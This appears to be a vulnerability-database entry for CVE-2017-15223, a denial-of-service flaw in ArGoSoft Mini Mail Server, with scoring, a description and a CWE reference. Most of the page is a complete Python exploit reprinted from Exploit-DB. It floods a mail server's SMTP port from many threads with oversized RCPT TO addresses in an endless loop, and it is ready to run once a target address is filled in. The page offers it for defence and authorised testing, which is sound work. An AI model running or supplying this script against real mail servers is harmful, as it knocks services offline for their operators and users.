CVE-2017-15223

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Published 2017-10-24 · Modified 2026-05-13
CVSS v3
5.3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS v4 NEW
not yet in upstream
VIR risk
6.3

Description

Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2 and earlier allows remote attackers to waste CPU resources (memory consumption) via unspecified vectors, possibly triggering an infinite loop.

Predictions

Exploit likelihood
63%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43026 dos windows python · 2 KB
Berk Cem Göksel · 2017-10-21

ArGoSoft Mini Mail Server 1.0.0.2 - Denial of Service

python exploit Source: Exploit-DB
#!/usr/bin/env python
# coding: utf-8

############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
#
# Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2
# and earlier allows remote attackers to waste CPU resources (memory
# consumption) via unspecified vectors.
####################################

# Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption)
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://www.argosoft.com
# Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx
# Version:  1.0.0.2
# Tested on: Windows 10
# Category: Windows Remote Denial-of-Service
# CVE : CVE-2017-15223


import socket
from threading import Thread

def data():

    ip = '127.0.0.1'
    port = 25
    counter = 50
    string = '&'

    while True:
        try:
            if counter >= 10000:
                counter = 0
            else:

                counter = counter + 50
                A = (string * counter) + 'user2@othermail.com'
                print "String lenght: " + str(len(A))

                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(5.0)
                sock.connect((ip, port))
                sock.send('HELO localhost\r\n' + 'MAIL FROM: user1@somemail.com\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n')
                sock.recv(1024)
                sock.close()

        except Exception as e:
            continue

def main():
    iterations = int(input("Threads: "))
    for i in range(iterations):
        t = Thread(target=data)
        t.start()

if __name__ == '__main__':
    main()

Application impact

VendorProductVersionsFixed
argosoftmini_mail_server{"endIncluding":"1.0.0.2"}

References

CWEs

CWE-835

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